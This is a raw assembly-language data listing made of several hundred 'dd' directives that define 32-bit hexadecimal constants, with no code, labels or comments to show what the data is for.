dd 0D57000B1h, 0BBFF3671h, 0CB0042BCh, 9B3E7849h, 2B7E9h
dd 2DDE5BB8h, 7942F91h, 0DD111575h, 6B0023C4h, 0EF354F63h
dd 0D3B9238h, 145E0026h, 0BB75E764h, 0CEFE0069h, 0DFAC6F2Dh
dd 70069B32h, 58D45DA2h, 0D5B40CA1h, 415120C4h, 4207D207h
dd 0EA509848h, 91F479h, 67D11129h, 8DAD6AE4h, 18A86452h
dd 56495AF9h, 5B6839E7h, 783E1A82h, 1CE68C51h, 5514CE50h
dd 1F3B7105h, 8C458DDEh, 0FC40E767h, 96BFF7BCh, 5C8C012Ah
dd 0D59ECA21h, 30C226Ah, 38782465h, 0DD1100DFh, 36985802h
dd 61C060F9h, 4A680B79h, 0C47B00E9h, 0A428A0Eh, 560A8FDFh
dd 7C8292ECh, 49EB670Ch, 770400CEh, 741F207Fh, 91000BB5h
dd 5350A06Dh, 1AE09BAh, 0EC588F71h, 207C2396h, 0C336414h
dd 0E4EB41E5h, 3F32BC98h, 6480DBCEh, 0CAFF9A46h, 0DD0087A6h
dd 394A91EDh, 0F8669C41h, 5E3C0FAAh, 1A800847h, 59CAD64Dh
dd 6ECFA707h, 0D3E0797Dh
dd 3D84D78Eh, 0E0C8B455h, 3BF366C0h, 272629DDh, 0C2005A41h
dd 82A9EFEAh, 124AB065h, 734F840h, 6FCE35ACh, 0FC27A179h
dd 0ADE6B27Bh, 0C1005E7Bh, 3817112Dh, 0A0FA33Ah, 713DD90Bh
dd 39E91190h, 50C6818Ah, 0D5015338h, 0EA63CDD0h, 83DD0F5Dh
dd 0F01431DFh, 68697D81h, 15C8223Ch, 4CF4863Dh, 0EC0F75C2h
dd 8CA21EA9h, 7A198Eh, 0F3F517C4h, 0CDB15BE2h, 0A1539700h
dd 0BAA8562Fh, 9BEC2C2Bh, 0C3E56400h, 11005FAEh, 86910E35h
dd 1CFE0D5h, 0BF26BBFEh, 28D6A760h, 9472D270h, 0A8603292h
dd 0BF0B381Bh, 4DE5EC5h, 0B5405438h, 67087DFh, 40207F4Ah
dd 0D8258Eh, 6D9AB8C7h, 94ACB249h, 0C8780602h, 44CF33DFh
dd 6CD502B0h, 0C31477AEh, 44D6BCE0h, 703B08A0h, 5D8E490Ch
dd 0B905913h, 993E1731h, 95EB6001h, 3D499267h, 7C719820h
dd 65D80080h, 301F07FCh, 8700CDD5h, 0C899C462h, 99F9E8A2h
dd 0FBAB0040h, 9B30EDCBh, 46CF700h, 647C81A1h, 5E10252h
dd 42A633DEh, 21C55C60h, 0F9DD89C0h, 0DA368Bh, 6064505Ah
dd 532083D4h, 4C26B874h, 802BB01Ah, 784C6740h, 0F16509CFh
dd 0E0103FD5h, 8CA4D15Dh, 3D0C6099h, 0FBD98Ch, 0C134EA36h
dd 2A50AEC5h, 3C40610Ah, 2821E48Ch, 21135F44h, 616876E4h
dd 0F365E830h, 1441D52Ah, 80F9D340h, 60996A8Dh, 9D249A60h
dd 1FA3EA72h, 0D37844DBh, 7394045Fh, 8878A230h, 1094017h
dd 8B603D34h, 9E02E8C9h, 871100EDh, 0BE17B0A2h, 681646C8h
dd 3406EE12h, 3D4922C6h, 51003066h, 42BB9B74h, 0C7006D76h
dd 0D68B53E1h, 1A642371h, 3117698Dh, 107F9C41h, 0A95A477h
dd 178C5BD9h, 0C6342C0h, 85801C52h, 660E73DDh, 2AADFFBh
dd 66831893h, 0DB570024h, 2DD5298Dh, 450058B0h, 89787F5Eh
dd 2761BF1h, 0EB9473D0h, 0ECE662C6h, 0C49CFC02h, 0C1029FE9h
dd 86C4A7EDh, 0ED47020Ah, 5262263Dh, 60D502E1h, 196F01C4h
dd 13670339h, 889EFB43h, 266FD7A7h, 744955h, 5A6AF418h
dd 0CC990B63h, 0A919C50Ch, 2DA901C4h, 7047249h, 9E63D283h
dd 0AB3F88C8h, 5D65D02h, 0CBE3F106h, 163EB830h, 2F7A80DDh
dd 4E93C600h, 1E0460C3h, 80B81D11h, 5C2A0B0Ch, 4290F801h
dd 0AF01F87Fh, 0D040674Bh, 0A4F263F0h, 0C96151D6h, 2E6907C0h
dd 617C35A2h, 0DC173E16h, 5201A0E7h, 8F46C007h, 1C20B445h
dd 490C2860h, 0BEC503ACh, 835CF89Dh, 7DE2DBD8h, 0ACD36605h
dd 0E482B59Fh, 0A84405h, 7F48903Ch, 0DFA9F55Ch, 0DB87CC91h
dd 42A09174h, 34C72Eh, 0A1570B2Ch, 328B0436h, 69D54D00h
dd 0CEA33344h, 0A4DB3F05h, 0C5DD0850h, 205E8D70h, 0FFBA70ACh
dd 8626C776h, 642CFCDEh, 24C5C3h, 0C699E429h, 0F5B3CFE9h
dd 0A1F2F8ECh, 5330A300h, 258F8ADFh, 5C76F3E7h, 1D628D0Ah
dd 0D630534h, 14F0CCDDh, 71B14007h, 28963BD7h, 1FDD0970h
dd 0EC40C0D8h, 0FB0093DEh, 693ACEA6h, 189FB7B5h, 21B0D61Fh
dd 6C9C5C8Dh, 2BD427BEh, 91500EECh, 8E274901h, 934E045Eh
dd 8C98E329h, 0D519C458h, 0C305691h, 157D1Bh, 57D326D6h
dd 1D0360BAh, 2152091Fh, 0ED620487h, 0B8888694h, 649826EBh
dd 0D8094084h, 11DD5BF9h, 5EBA91C0h, 0D66195BEh, 996C00F8h
dd 265A268h, 3751DE00h, 0EB346409h, 75DF0B70h, 441895ECh
dd 69C0EA67h, 1DB85DD8h, 0A6030098h, 0D9D12848h, 9003557Ah
dd 93EBFF4Dh, 4C3926B1h, 54D1005Ch, 1791F3D9h, 3D01CB03h
dd 0C2A77F65h, 4088A3Fh, 0A8811420h, 46DE129Ch, 2DF80040h
dd 4CFBE5BDh, 1290C726h, 8900B9E8h, 0C907A3B1h, 39857D5h
dd 3DB36F4Ah, 38020D61h, 0A7A8540Fh, 0BC8C8469h, 208364C2h
dd 1AD05DE4h, 0F93DCC08h, 0E54984B5h, 0A107C02Eh, 7C713192h
dd 457C3871h, 0BD0C3604h, 60E22D03h, 19B4B1Ch, 97D25069h
dd 3118740Fh, 0FC0A2D26h, 0E142D706h, 3C8E4578h, 97328764h
dd 83E8006Bh, 1718F07h, 96D0F9ABh, 0C45298B2h, 0D9482739h
dd 12C4CA8h, 0F428547Fh, 8C501AC5h, 0EE4642h, 2D3CB07h
dd 98E3171h, 80696201h, 3C70E426h, 0E93A3C40h, 244A0012h
dd 8647E1D5h, 213AB619h, 0BA608926h, 0E0E0009h, 58E78EABh
dd 0A500A899h, 1784A48Dh, 49C08A3Dh, 7389DAC1h, 44D98A7h
dd 0FF5927Bh, 25A88AD8h, 20980A18h, 5D2B3360h, 0F7F74CCh
dd 0A0D0B6C9h, 4B26AB41h, 3D98202Ch, 10F9D9C9h, 637868h
dd 3E01D223h, 1ABAD31Ch, 69914Ch, 8E0DB534h, 2D96EC51h
dd 24007693h, 49CF42DEh, 370EECE9h, 711CD103h, 0A1B63563h
dd 83EF4485h, 0A625A186h, 0D6F809F0h, 697C08A1h, 0E2408F44h
dd 385AF239h, 211E0D00h, 9D55947Eh, 0F6B50537h, 0B2C8FFEDh
dd 8EAC50A0h, 40D47900h, 873ED0C4h, 3DDA075Ch, 0C0ECBEFFh
dd 24989668h, 0C370D948h, 0B1F255C2h, 0C1DC0DC4h, 1AA00075h
dd 3AD122B7h, 0FE25AE06h, 821800DEh, 125E7374h, 87136CFh
dd 2983E5D0h, 0F3E039A1h, 2F01C097h, 1061C0CAh, 75AC68D5h
dd 0DDBF2A02h, 8140D602h, 0AE1A6608h, 0BCAC2454h, 0FBC79001h
dd 0D4305096h, 0A47A7D2Eh, 5CD93B07h, 0AC8020D7h, 150961h
dd 544ADDDBh, 0FEDFD55Dh, 8460C900h, 4C98366Dh, 76D101DAh
dd 8290CEA7h, 0F305C007h, 0B59EAC1Fh, 668DAF03h, 27A97D11h
dd 9C10465Dh, 2C00EDA3h, 17BE40F3h, 391F6E14h, 0DD938759h
dd 9A142088h, 2600E02Dh, 3A349053h, 0FD12663Eh, 0BFE9E0h
dd 1A91B375h, 271D58D9h, 7430A84Bh, 5810841Ch, 0E4221477h
dd 109CEB2Fh, 4E72E790h, 0E1043252h, 0AEE30520h, 83D860DEh
dd 82DF632Ch, 370578B9h, 0D0C83E0Ch, 4ECE03F9h, 0A81381C0h
dd 45C2FB80h, 0EC2D2AFAh, 0B4E8A594h, 0B6098880h, 49975BD1h
dd 0F5009180h, 7F70B0EBh, 8D0BA68h, 20442428h, 9DD70025h
dd 0F4942C8Fh, 0A0F09221h, 8138623Dh, 9997384h, 94640F48h
dd 24BCA663h, 68E0041Ch, 5E974284h, 0BA36B420h, 0E9120030h
dd 0E04B9B42h, 0C3497744h, 0A270127Ch, 622A809Fh, 9AE03838h
dd 65DD6702h, 0D052D75Eh, 0E10045EAh, 38A29097h, 0BAB0F70h
dd 0DFC721B0h, 65D06C40h, 40D5F210h, 0F110D2C8h, 0FEEC204Bh
dd 460197D8h, 127C1B57h, 6C683E82h, 8B0F6310h, 0D784837Fh
dd 6078223Fh, 0EE67B418h, 7F52849h, 835F53D2h, 3799200Ch
dd 0D90249BCh, 0D4C74ED6h, 0B468E171h, 4AE053C8h, 6EDC2A2Fh
dd 1F5E402Ch, 10832FDh, 0E83E67B6h, 81D67E53h, 0CF1D0AA0h
dd 0C16A75B1h, 0CCE4AF0Bh, 9F07FFCCh, 1E2671C5h, 1B237C0h
dd 0A4CD587Fh, 0ED792000h, 0DA323935h, 0D0D448h, 43983068h
dd 246BD507h, 8A073ADh, 7A8B7FDBh, 0EE980033h, 0F87C60EFh
dd 58341C28h, 0C33DC1D7h, 58382C91h, 0E8F98B88h, 1C0097F9h
dd 49FF80C7h, 0D41545h, 6B654B1Bh, 3DA94190h, 0A70459E2h
dd 767D4019h, 80148C4h, 0F9374E55h, 18003439h, 0CA5E6F1Bh
dd 57006329h, 79FCC053h, 0B54B346h, 0F275A504h, 408D6804h
dd 0F0415606h, 89780107h, 0F482E0A6h, 9BCB207Ch, 1574F5Ch
dd 0C58015FAh, 0D432B516h, 130896CAh, 3CC80039h, 0C6580B1Fh
dd 0C812CC99h, 880F12F8h, 0AF81EF9Bh, 0E40A0535h, 0A72C244Ch
dd 8E053857h, 0E4C93D3Fh, 776E8E0h, 74E16F6Bh, 9C205048h
dd 75906659h, 0FC3C4005h, 24F2FF71h, 7E2048h, 0C1635678h
dd 4DBCA00Bh, 0E805BD00h, 0BE76124Ah, 31AE0E6Ah, 0A2093999h
dd 83192C18h, 783C0F00h
dd 873408AFh, 5C6CE0AAh, 2C5A404Ch, 9D51FFE4h, 0C784820h
dd 64B8B3F8h, 0AC42D524h, 40868848h, 4621053Eh, 2210486Eh
dd 0D2492655h, 38A60800h, 90C2DD44h, 0DB844001h, 4998C19Ah
dd 38EA3A68h, 172248h, 5DA4277Ah, 3CD42A47h, 1091F4A1h
dd 9D145Ch, 501CF4E9h, 3E9F1FFEh, 80DB2E3Dh, 5E354340h
dd 7E90C6Fh, 0DF6766EFh, 2890D9EBh, 9A0B37BAh, 0C445B52Ch
dd 22154224h, 0D8110067h, 0D31B972Bh, 0B00E97Fh, 0B8E8346Eh
dd 0DE0F6h, 603FBF95h, 0D365D6AAh, 0EC67AC19h, 7FE8BBE9h
dd 890F009Eh, 8D26904Eh, 6C09A4F8h, 18D0E941h, 4C271134h
dd 0B447540Ah, 0FCA0F82Dh, 71986447h, 0A499CC00h, 0CF0DE3D2h
dd 1AE600FAh, 39878AFDh, 3D585604h, 0E9F28080h, 3090843h
dd 7C346B96h, 0AEC89138h, 8A2C9F56h, 0D12C4CDFh, 0B1A83607h
dd 0EC6A803Eh, 0E80DDBh, 13CC7FAFh, 98EBD66Ch, 50A4309Ch
dd 0E0FBCE04h, 0C0C98982h, 4A247A40h, 1F3030B5h, 67898AE0h
dd 0AA00A062h, 697A4795h, 91DED0Dh, 30F34972h, 503BF208h
dd 0DE7E0ECCh, 0C46AB1FEh, 38B240C8h, 7C3FD233h, 89596F63h
dd 42D8603Bh, 37228618h, 3C68EDE3h, 79BF8680h, 9000C925h
dd 0EFD5677Ah, 168DAEF8h, 0D2714564h, 63217CC8h, 0EB13E906h
dd 0CA45AE2h, 0EA1747DDh, 11190481h, 5C942988h, 21DF0C42h
dd 68DD713Ch, 0C20B9E6Ch, 68641Ah, 0B5AB34B9h, 61195C38h
dd 1183B3Ah, 239B4355h, 0F1D03DD7h, 0BFBA1203h, 3914C85Bh
dd 94266C00h, 0D7A02070h, 92FE0074h, 603448FFh, 103C1438h
dd 10C07FD2h, 9AF9DF7Ah, 2806FB7Fh, 28D00C84h, 0EC76811Ch
dd 0FC495D9Fh, 0B023BF0h, 0E678246h, 0F0E14C05h, 7190D5BCh
dd 913BA217h, 88FC7010h, 0A80D80EFh, 793CFAAh, 0E2E14700h
dd 3C18164Ah, 341A02F1h, 41BF34Bh, 3438E48Bh, 2846092h
dd 5014FF38h, 7CC242B6h, 53712260h, 6B464098h, 8184204Ah
dd 0E673379Ch, 641C3F01h, 0E90A1BF5h, 0C407B840h, 5841F191h
dd 4830A401h, 0FCC182BAh, 23D813DEh, 8D0B3AE1h, 95C9169h
dd 5CBDA830h, 3EC05815h, 0F35360E1h, 0AC3C14E0h, 48445C0Dh
dd 5A00DC10h, 95B84B66h, 89F33AD2h, 357D5C80h, 4267BC5Dh
dd 4653E425h, 0A5E10018h, 83E9C7F6h, 4E000931h, 0CD605FBAh
dd 1E8496F5h, 88D5517h, 70165947h, 1E1468C8h, 0C001B8D5h
dd 6AF6C80Dh, 0D3009D2Eh, 3AD15E24h, 0E836218h, 0AD0877B5h
dd 3D50AA2Ch, 0D7419260h, 181AC7C6h, 0A23BF232h, 89000795h
dd 59D880ADh, 937815Ah, 3E320BDFh, 91223C50h, 0CF500055h
dd 0C09E5494h, 150011FDh, 0D5E9DDD7h, 2D5A2167h, 0B0109F96h
dd 57016B09h, 0CA42DF89h, 0B2004DE1h, 0E81FFD6Fh, 87009122h
dd 0FFB80506h, 9B620FCAh, 1A800E31h, 0D3AE172Fh, 6E4F18C0h
dd 311C2F0h, 905DD45h, 1EE067D6h, 0C54BEC81h, 931ACCD0h
dd 505D04E2h, 0C298C0F9h, 8CC6848Ch, 90E5CF0h, 0A2D39DFh
dd 6B1308C6h, 1698088h, 76AAF1ECh, 209015C5h, 0AC9E1F27h
dd 8D01A8A6h, 3646DCF9h, 0E7D8212Bh, 1AA0F448h, 0A567B503h
dd 88EAE5B8h, 870B90h, 0C3394970h, 3DC95182h, 0B01C410Ch
dd 588E089Dh, 70802062h, 53DDFB4h, 0C492D0E1h, 0BC71D507h
dd 80FF50D3h, 5E60DD62h, 855091D2h, 0C097E140h, 78346778h
dd 0C842DE05h, 0C08C74C1h, 31D50199h, 665DCDBBh, 0D8162A3Eh
dd 8291382Ch, 9906456h, 2292DE09h, 703D98B0h, 0DF6008F0h
dd 0B6096611h, 3411177Dh, 0B2D0C4ADh, 0C22900B0h, 0FB18A5F3h
dd 571700A9h, 70D7621Dh, 9A623E93h, 0E2FFB239h, 8E20D124h
dd 0E4C358A7h, 0DFB02A9Ah, 3B399933h, 0CEB8D8D4h, 0D75F6043h
dd 96190558h, 344C510h, 7C323AB6h, 3004A3E9h, 0B2588DC2h
dd 6A8E0D50h, 3C737129h, 5DA55A00h, 956C992Ch, 2835591Dh
dd 50ACCC0h, 2D09BA6Ah, 0D41671D4h, 3D33C58h, 0C6783E11h
dd 0DD502EA6h, 49990FD8h, 506DC8C1h, 0AC402F68h, 3F487886h
dd 0E34B07Dh, 6405EB34h, 3CB48917h, 9CC688BCh, 7AC80749h
dd 91ED809Bh, 211343Fh, 17286ED6h, 9FFF2808h, 8560A114h
dd 5F8DE189h, 0D862789Ah, 20D83809h, 0E35067EEh, 7B1DC5C0h
dd 0F218DFD1h, 5BE21F31h, 0E888249Bh, 80EEA32Ch, 941BAFh
dd 0D2E40F4Dh, 9172CFB4h, 0D5035107h, 1F123D78h, 3444D9h
dd 3AB5FF36h, 26CFEBABh, 6342E000h, 0F95D7E0Bh, 0D5A60E7Bh
dd 139F1590h, 0E564306Bh, 0DA006F24h, 43C9E301h, 7285D8h
dd 0AC53179Fh, 0B3717D38h, 14BEBC7Ah, 0CC090717h, 0A78C680Eh
dd 259917A6h, 0EE5CC8D9h, 0CF1E5600h, 662198F5h, 7DAE03A0h
dd 0EF8337D7h, 0FCFE20E9h, 0A4B99EEBh, 0E84427h, 759183B3h
dd 17F409Bh, 0CB2FCF0Ch, 13DD7153h, 9313856h, 0CC10C598h
dd 40B0CEAh, 0DFD18E9Ah, 8B07590Fh, 5FD5105Ah, 79002110h
dd 5BF19DD9h, 91BE4Fh, 62E4EB45h, 15DBF7Dh, 0D6A8E500h
dd 3649558Bh, 101F4839h, 26670D00h, 0E4AA7053h, 0F10B967Ch
dd 0B99992D7h, 4C3DF9F0h, 52DB85Bh, 6877739Dh, 0A04C0CB2h
dd 3C01E522h, 95E457C7h, 0C20F124h, 84F4015h, 5C2C1C5Eh
dd 6360449Dh, 0CE30528h, 4D889674h, 16500D0h, 34E0FFA6h
dd 4C39AF12h, 0C700F84Ah, 16EE84CEh, 477B469h, 0E012DA5Dh
dd 0FA28A4C5h, 804F5C09h, 90A02B94h, 6B2FF8h, 0BB8DE795h
dd 68C55754h, 0DAF17C00h, 0FA08E5ABh, 5241A48h, 908258D5h
dd 0DE00DD1Ch, 0D45794EBh, 0AB24F849h, 87CB6770h, 273BA021h
dd 9800CD58h, 252F8DB9h, 270D0E07h, 8E09CC0h, 1B124908h
dd 48A27F9Fh, 0EADDFB00h, 0C635BE7h, 0B030E945h, 1E38B5Ah
dd 1C08894Ah, 81649D5Bh, 0E8CCAA5Fh, 0DB4850EDh, 0EA1FE9A3h
dd 0C2802B4Dh, 0B91DC4B6h, 0CD191F8Eh, 34C34402h, 0D4B9F9h
dd 3C265CFBh, 1A5AE0h, 31CB740Dh, 7AF0AC1Eh, 0CE21473Eh
dd 93447282h, 641010E4h, 0F9D18305h, 50512CABh, 0F3CB00EEh
dd 8603DB1h, 0E3C88095h, 0F490BDA6h, 70351D0Eh, 4856C20Fh
dd 8C41DF8Ah, 7D418054h, 0AF693049h, 60D20F7Ah, 70609E0Ch
dd 0F097D1C9h, 51DE8801h, 0FDDA2C41h, 77ACE8h, 0D90ECF34h
dd 797D3DD2h, 7C3C49h, 74AECAA0h, 26DF700Ah, 1134307Ch
dd 3D3C757Eh, 8D7099Bh, 0C046B8h, 1519D8C0h, 0DB231A40h
dd 2AB78009h, 2F6C640Ah, 0E494E31Fh, 6515830Eh, 0FBE12221h
dd 0EE63603Bh, 67601B7h, 0B19A0251h, 11408F6Ch, 7DE0563h
dd 0C830A094h, 1FF46Ah, 9B7FD36Eh, 1AFAF833h, 0BC16C600h
dd 73CCED4Fh, 0BEA0BC3Eh, 8CBC08C4h, 0E6B0788h, 20F3D14Eh
dd 0D92A39ECh, 0F280C4B9h, 1DB4E4CBh, 736912A3h, 235CF689h
dd 0FC5F029Eh, 0CCC00758h, 59E0B2D5h, 8056CF27h, 8B266F20h
dd 0D8A2002Ch, 132F1591h, 18B0657Dh, 98596A03h, 824D390Dh
dd 9108829Eh, 8414893Dh, 0F2522140h, 0A66B01B0h, 9030D0BCh
dd 45961DCh, 0AB99D219h, 589CAD3Dh, 0BAE01C49h, 5DE03025h
dd 0D61F881Ch, 63D81195h, 0B007D409h, 26C62E01h, 2290AB7Dh
dd 18E6D3D4h, 10EE64D4h, 0FE015CD7h, 6ACD06F4h, 146C5654h
dd 0E79B8D00h, 0C13DD6A4h, 86DF5C0Eh, 0E464109h, 0ECD085D1h
dd 9074999Eh, 419FC80Dh, 45668DFFh, 3E0F254h, 0CD03F6F1h
dd 0E269D3ACh, 0FF5E013h, 0D8B13Eh, 0E09A15A8h, 611AC5A0h
dd 197F0Dh, 0D36AE7B8h, 45112047h, 559A0880h, 763CD703h
dd 0A03A3B0Dh, 0B03E4FDFh
dd 732080E0h, 4CF84819h, 0C5B12A31h, 0FEFC1022h, 0FF4A0013h
dd 2798A61h, 0BE0B3D15h, 58D34107h, 31D51FB5h, 0E8A80CDh
dd 0DF6C1538h, 762A0700h, 0AE1991BAh, 9BC10020h, 0D513CA3Fh
dd 0C812C473h, 1604888Bh, 268007B1h, 9242684Ch, 803C5C5Ch
dd 71CF3504h, 0D838CC63h, 6112DDEEh, 7C88D35Eh, 0A2708069h
dd 5003385Eh, 0C8DD62D8h, 0F880912Fh, 488D0BB2h, 8C8037C5h
dd 9B045A55h, 62D4D80Bh, 2E05A0Eh, 6E13CE7Fh, 0E854F109h
dd 67047081h, 346899ECh, 0D99A3880h, 0C92701B5h, 5940C914h
dd 83082819h, 0C073C582h, 228C2Dh, 0B827C4CAh, 2F748B31h
dd 3EE7C200h, 68D413C7h, 0DC610007h, 0ADF86553h, 1D44C5D8h
dd 240F0129h, 23BA04C8h, 0E3362032h, 84875D2Eh, 0A6E79660h
dd 217000ADh, 946C9756h, 0C1002A7Ah, 29D062Bh, 50FEE75Ch
dd 44A077h, 0D56AA199h, 0A5727B69h, 0B05DC05h, 80541D6h
dd 1401FB5Dh, 409CE74Ch, 0EE65909Dh, 90102FE0h, 6748B40Bh
dd 0DFB28078h, 66AF13Ch, 0E56857Dh, 3D4808D3h, 434E0040h
dd 7F42691h, 53349871h, 69009887h, 0C79D79E7h, 0D37DB0ABh
dd 113FE105h, 24C28C0Fh, 3C0B115Ch, 9A9CDDC8h, 5EDD6002h
dd 3A9CD9E2h, 963839Eh, 0B0D9DA78h, 0F7A46601h, 0B7C34105h
dd 67E8FCF0h, 6C491065h, 75922D3h, 113C7BDDh, 389B7B42h
dd 9AADC2F8h, 0A4BC6624h, 0D3E10942h, 0D3273BF8h, 0F50044C4h
dd 74E91D4Ah, 0E118F3h, 9A130A2Eh, 3DE79F3Eh, 7700F491h
dd 0A2BECDB6h, 0E3781B86h, 0A7898Ah, 591C0D70h, 0B8CC262Ch
dd 0E48B0F03h, 0A2E0075Dh, 87AC7641h, 0A30E432Eh, 0B87D1028h
dd 50236A4Ah, 1FC2B8EFh, 0AE0B071Dh, 719FBA6Fh, 2DDD86D8h
dd 3B74410Ch, 71D6F000h, 73EC4990h, 0C8F1D694h, 7C007B84h
dd 9E26F0AAh, 0B3CDD4h, 0A21F9DC1h, 0C7D78FACh, 164CBB0Bh
dd 0C0EB098Eh, 6B640820h, 240371FEh, 20311E4Ch, 0BB0C79FCh
dd 9835DBC4h, 11EF224Ch, 811D44h, 328C0E9h, 854FD365h
dd 0BE6ED40Ch, 3F0A3801h, 3730640Fh, 0A708D861h, 0B0ECB39Fh
dd 4E246780h, 9C381278h, 6A07AA60h, 69FC4682h, 657F2B30h
dd 110F07E9h, 0E22022D2h, 28C02E36h, 0ED0F64C2h, 7C9FEAFh
dd 44D96674h, 0CCF51C40h, 0F31382E7h, 0B940CF6Ah, 0D17F64A5h
dd 800B0D3Ch, 0F44C90FAh, 0CBD3608Dh, 0D4C90889h, 951F03D7h
dd 0DE6888h, 0E805682Ch, 38A6633Dh, 6500A4A4h, 0B507AEE3h
dd 90DEB46Bh, 0A117F998h, 54B3C5DFh, 0E2F812C0h, 92498054h
dd 0EA23086Fh, 0E3160152h, 0A5AF6655h, 8F447870h, 968F4026h
dd 54EE41Ch, 70307E03h, 128C84B5h, 9DA830F1h, 5EE44D68h
dd 7816C4A4h, 54F28CE2h, 0FB39CF00h, 650D5F2Ah, 0A35E590Bh
dd 0C40809AFh, 3BDE00C4h, 0EB85B97Eh, 0FD334ADDh, 17D56CBCh
dd 21678D21h, 48BD0878h, 0E9490994h, 0F9D8C3C8h, 5004A48Fh
dd 0BBBCA468h, 5ACE0D0Fh, 6E009635h, 2A924286h, 0D062F733h
dd 686FDD04h, 6F189D44h, 187A8432h, 0D9036A6Bh, 15C438A3h
dd 4492E075h, 0F9030021h, 0DF663D76h, 9103364Ch, 344F3916h
dd 9D67C9B8h, 0B427B82Dh, 660088C4h, 19CEEEBBh, 1A1559h
dd 0A2C69E0Eh, 0A911298Eh, 0AE2E42E6h, 0C14F9066h, 55DF3498h
dd 4C78B830h, 0FE03B43Bh, 5DD4A8BDh, 47D980A7h, 936C95ECh
dd 5FC020E1h, 0C5008846h, 0B200517Dh, 0F7FC30F0h, 4CCD42Fh
dd 795FDDBFh, 0EC5AC417h, 0E9E28054h, 21022Dh, 72A5C24Ch
dd 9156FA0h, 11920825h, 6423E2A0h, 0CB56931Ch, 0C8613E69h
dd 206F1935h, 7B06C114h, 0EA2A4000h, 65BD8A0Dh, 0AF90011h
dd 0C9FFCC71h, 74005609h, 10F6355h, 0BF9DFBh, 0D56BB987h
dd 7D57304Bh, 55DD900h, 0FCBFE27h, 3A6606DEh, 7197DC1Fh
dd 0E5658D2Dh, 57E600C0h, 183FC83Dh, 4E87B300h, 0BF3BFEEh
dd 70A02548h, 0D576E4C0h, 84636D00h, 26D3FFB5h, 2B89865h
dd 0DBE54971h, 6C70BA46h, 42C78600h, 5FA2589Bh, 0E4561ED4h
dd 839D5609h, 3DDAF6D8h, 8039F859h, 0FA828C8Ah, 26E83F2h
dd 713DD7A4h, 0DC68BB50h, 7380DE20h, 15980F2Eh, 7C3864D1h
dd 0B4166937h, 7C20C4D0h, 5E4DDA1h, 9FCBB366h, 4E8B0597h
dd 0D04787BEh, 56131F36h, 8603E01h, 0FEDC5D5Ch, 0AAACA8C5h
dd 48900196h, 2FF3FD40h, 0F4D18032h, 81B842DCh, 80C5A00Ch
dd 8D80DDD0h, 892F6D5Eh, 2ABC0918h, 4D0A9020h, 8615005Bh
dd 56E8A7B0h, 9800EC45h, 18B3FCACh, 0FF9FC3B9h, 38E0F4D6h
dd 701840CAh, 0FC995FD5h, 42ECD200h, 0CCDA2591h, 475F871h
dd 0EF8D76A3h, 0B8A23Dh, 0BEA9B5F2h, 0B15C0416h, 8C934E50h
dd 4C2CD574h, 0D1CF501Fh, 9CD9BE8Bh, 0A4123A00h, 0EFF72B7h
dd 53CAFDCDh, 48A00816h, 492F1F11h, 0DFAA346Bh, 0CF909h
dd 0CF23B80h, 68B308DEh, 5CA76A16h, 0B5D17F00h, 2BD938BEh
dd 0A68C1516h, 0D25D7430h, 519FAADh, 5E70554Eh, 0DE0802FAh
dd 0FC793680h, 3873403h, 93D1C09Dh, 6DD4007Dh, 753BE08Eh
dd 340006B4h, 0A414C43Fh, 70EE52Eh, 44C7831Dh, 68A310A6h
dd 384E7674h, 54BB6820h, 0A2400A2h, 20A6A0C7h, 0C200F5B0h
dd 7A097E50h, 9F7CBAD1h, 40DCC884h, 74ACD05Dh, 3C7326F5h
dd 0A86A4344h, 5AD07BA3h, 7A073E85h, 0EFFA0902h, 435B9BE1h
dd 421CA2C7h, 0A10040C4h, 8A550003h, 77CD31C1h, 460021A5h
dd 993A697Dh, 30D1DA2Ch, 0B4A981F9h, 0DF7167E4h, 993E5105h
dd 30A8B809h, 0AD6A7300h, 178B2237h, 91843D30h, 4C52F3DFh
dd 0E30B1E9Ah, 0C011E74Dh, 14207B67h, 353D4250h, 969DB1Fh
dd 50453ED0h, 65CC3C10h, 322DDE08h, 190420F8h, 0B7C1EF4h
dd 6F369F7Bh, 3A7879h, 0ED853A45h, 25B5BD0Ch, 0DCA5638Dh
dd 0FFF8CC70h, 0E07A3100h, 0A2A75280h, 0F9B028Dh, 2095CFB6h
dd 0C04054FEh, 3C5B990Dh, 1528CD7Fh, 0D2094C08h, 3B39B400h
dd 2EBA65F0h, 0D802F8B0h, 37D9993Dh, 1224F6ECh, 0AEB0332Fh
dd 29C668E0h, 6F7D8912h, 0D670A200h, 9A3DD163h, 99321C80h
dd 88A3143Ah, 44101AC8h, 0D44EEB3Ch, 6AC0304Ch, 0A6002D8Ch
dd 0A765D21Ch, 2F4D39h, 0BC9995E6h, 11C4EC34h, 0DDDA3101h
dd 6B8DB1FEh, 0E248203Bh, 3412FA3Bh, 0E88C85FCh, 0BCF38D2h
dd 20680293h, 0EDB88048h, 8CA4E300h, 0CCE56E36h, 2A4F00DEh
dd 135F22F7h, 0E312B34Dh, 120F60E1h, 0A2982725h, 0CFE76707h
dd 0A79CA970h, 506F00D4h, 119DD92Ah, 98A2EBDCh, 94401C54h
dd 1FFA2855h, 807F20A5h, 2ED76811h, 57169860h, 4C23C62Bh
dd 0FD2CF06Ah, 102D1D75h, 0B05C0FB6h, 5B22FBE1h, 41CD4784h
dd 0EF6EDA0Ah, 0DC1715A0h, 57142B0Eh, 813400C2h, 5F3A41h
dd 2AA68358h, 78D5ABF9h, 74CAB62Eh, 0C1CECA4h, 58097413h
dd 0CE94105Ah, 0B2670134h, 3DCD69DFh, 18606A89h, 1A5F8h
dd 11FE3BDBh, 7F8BED1Dh, 80747CF3h, 0D1FC9EA3h, 59A201AEh
dd 8BBC26EAh, 0C6E06A81h, 39973D3h, 39142A9Eh, 0C90DC3Ch
dd 0CF05FFBBh, 87DFCB66h, 0AB8018A8h, 38ED2442h, 830B9800h
dd 1BF0868Bh, 0E6851206h, 6E24E044h, 206ED741h, 5EF2F7C4h
dd 3C552C0Bh, 3C44A0h, 0FF8FBED3h, 7802EB07h, 5F931407h
dd 0BF95A61Ch, 2CACD4C4h, 9210C788h, 0F900044Eh, 8321405Eh
dd 0ECC2A8Ch, 0F6F33D68h, 0CBC26949h, 36B41280h, 35043034h
dd 1CA42B2h, 280F5CC0h, 9B3326DFh, 95EB09CDh, 390238E4h
dd 67B5B968h, 0A883556Ah
dd 0B8B59FECh, 0F99E8204h, 93062761h, 0A5E8543Ch, 4816D194h
dd 0A1CE54Ah, 0DCD5F45h, 0C84CE8BCh, 9C376016h, 5EF464C0h
